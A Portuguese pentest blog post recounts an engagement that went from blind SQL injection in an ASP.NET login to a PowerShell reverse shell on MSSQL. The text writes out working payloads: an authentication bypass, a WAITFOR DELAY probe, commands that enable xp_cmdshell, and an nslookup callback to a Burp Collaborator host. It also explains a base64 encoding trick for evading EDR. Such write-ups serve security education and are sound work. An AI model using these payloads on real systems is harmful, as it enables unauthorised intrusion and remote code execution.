Diário de um Pentester: As aventuras da equipe técnica
O time de especialista da IBLISS Digital Security, em especial nosso time de Pentester, diariamente, vivência aventuras e casos interessantíssimos em diversos ambientes diferentes.
E para dividir todo esse conhecimento, este é o primeiro artigo de uma série de materiais que vamos divulgar sobre alguns cases e histórias vividas pelo nosso time técnico, com insights, técnicas e “artimanhas” usadas (e desenvolvidas), sempre com o intuito de entregar um serviço que agregue valor para os nossos clientes e vise a redução de custo.
Vamos lá para nossa primeira aventura?!?
…Do Blind SQL Injection ao RCE, quando demos um bypass do NGFW ao EDR…
Em nossa mais recente aventura de Pentest [Teste de Intrusão] nos deparamos logo de cara com algo interessante na Aplicação Web.
Um painel de login onde a aplicação listava os usuários existentes em um select [HTML]
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_1_pentester.png)
Analisando o código fonte da página é possível listar os usuários existentes e a partir dos headers da resposta conseguimos também identificar as tecnologias utilizadas (Microsoft-IIS/8.0, ASP.NET) o que confirmava a utilização de um Windows Server como servidor.
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_2_pentester.png)
Por lógica essas informações estavam sendo retornadas de algum banco de dados.
Na tentativa de realizar login na aplicação identificamos que os valores eram enviados via métodos POST
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_3_pentester.png)
Então começamos a realizar fuzzing [payloads SQL Injection] nos parâmetros do usuário [Usuario] e senha [Senha], que resultou positivo para um provável SQL Injection (SQLi)
Ao utilizar o payload de escape ‘– identificamos que era possível acessar o painel administrativo da aplicação, ocasionando um bypass de autenticação. Os valores do parâmetro Senha poderiam ser ignorados com qualquer valor.
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_4_pentester.png)
Então começamos a realizar fuzzing (payloads SQL Injection) nos parâmetros do usuário (Usuario) e senha (Senha), que resultou positivo para um provável SQL Injection (SQLi).
Tentamos explorar de várias formas e técnicas, mas não havia nenhum retorno da aplicação, ou seja, o SQLi era do tipo Blind (cego).
Na terra dos blind cegos…
Tentamos incansáveis técnicas e ferramentas a fim de automatizar a exploração, porém todas elas encontravam dificuldade para identificar a injeção.
Realizamos várias tentativas com intuito de exfiltrar dados, mas percebemos que estávamos sendo barrados por uma proteção de borda (Firewall/IPS/IDS).
Utilizamos o payload ’;WAITFOR DELAY ’0:0:5’– e percebemos que a aplicação estava suscetível a stacked queries (onde você pode fazer múltiplas consultas), fazendo com que a aplicação demore 5 segundos para responder.
Baseado nas informações coletadas no cabeçalho da resposta sobre as tecnologias utilizadas e de acordo com o aceite da sintaxe dos payloads poderíamos presumir que a tecnologia utilizada como Banco de Dados se tratava do Microsoft SQL Server.
Como é sabido o Microsoft SQL Server possui uma função xp_cmdshell, desabilitado por padrão, onde é possível executar comandos do sistema operacional.
Enviamos o seguinte payload com o intuito de habilitar o xp_cmdshell:
‘;EXEC sp_configure ‘xp_cmdshell’, 1\r\nRECONFIGURE\r\nGO–
E para confirmar que o comando foi executado com sucesso enviamos algumas consultas de nslookup (consulta de DNS) como alvo o Burp Collaborator, assim percebemos que a aplicação estava suscetível a Execução Remota de Código (RCE).
‘;EXEC master..xp_cmdshell ‘nslookup target.burpcollaborator.net’-
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_5_pentester.png)
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_6_pentester.png)
Opaaaaaaa problema resolvido, vamos atrás da shell? Só que não!
Como havia bloqueios (proteção de borda e AV/endpoint) por parte da infraestrutura da aplicação não conseguimos avançar com mais execuções de comandos.
Tentamos vários e vários payloads e ‘n’ técnicas e mesmo assim não obtivemos resultados.
Como o SQLi era Blind a única forma de depuração era o ‘Bypass da Autenticação’, caso o payload [caracteres] funciona-se era realizado o login, caso contrário era apresentado erro de autenticação.
Então identificamos que a aplicação não aceitava alguns caracteres, ou união deles, nas cargas que havíamos tentado.
Tentamos realizar alguns escapes e aplicar técnicas de ofuscação, porém mesmo assim não houve resultados positivos.
Conforme já confirmado o RCE utilizando xp_cmdshell, tivemos a ideia de invocar o PowerShell e enviar um comando encodado em base64.
E ai…nos deparamos com outro dilema, não funcionava da forma esperada.
Resolvemos analisar o payload inicial (comando powershell)…
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/print1.png)
…e começamos a efetuar vários e vários ajustes e mesmo assim a frustração ainda continuava.
…quem tem um payload olho é rei
Resolvemos começar alguns testes em um ambiente controlado (laboratório).
E Opaaa ?? algo estranho no encode base64.
Identificamos que o base64 interpretado como comando do PowerShell era completamente diferente do que geramos no ambiente Linux, isso acontece pois o Windows utiliza UTF-16-LE (Little Endian).
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_8_pentester.png)
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_9_pentester.png)
Diante do fato dos ambientes se comportarem de maneiras diferentes começamos uma nova saga para montar o payload correto.
No ambiente de testes (laboratório), funcionava perfeitamente, porém na aplicação real não e novamente outra frustração.
Parecia que algo estava filtrando e bloqueando o comportamento da execução de código.
Voltamos novamente ao payload inicial e realizamos vários e vários ajustes e mesmo assim ainda não funcionava.
Em uma breve leitura a documentação do PowerShell identificamos que o caractere de escape utilizado em sua sintaxe era o acento grave ( ` ), então tentamos escapar as variáveis `$ .
Payload com escape de variáveis PowerShell (alterar IP_ATACANTE e PORTA_ATACANTE com seus devidos valores).
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/print2.png)
Encodar o payload em base64 utilizando o PowerShell.
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/print3.png)
A carga útil final para explorar o SQLi com RCE [shell reversa] ficaria assim.
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/print4.png)
E BOOOOOOOOOM, Shell tá em casa \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/
![](https://www.ibliss.com.br/wp-content/uploads/2021/11/IBLISS_img_10_pentester.png)
A conclusão é que na maioria das vezes a persistência e uma pitada de criatividade pode fazer muita diferença 🙂
Por: Maycon Silva e Leandro Inácio
OBS: Observem que ocultamos todos os pontos de extremidade e outras informações identificáveis, pois a vulnerabilidade foi relatada como parte de um teste real de divulgação privada e a empresa afetada não deseja que nenhuma informação sobre seu ambiente ou essa descoberta seja publicada.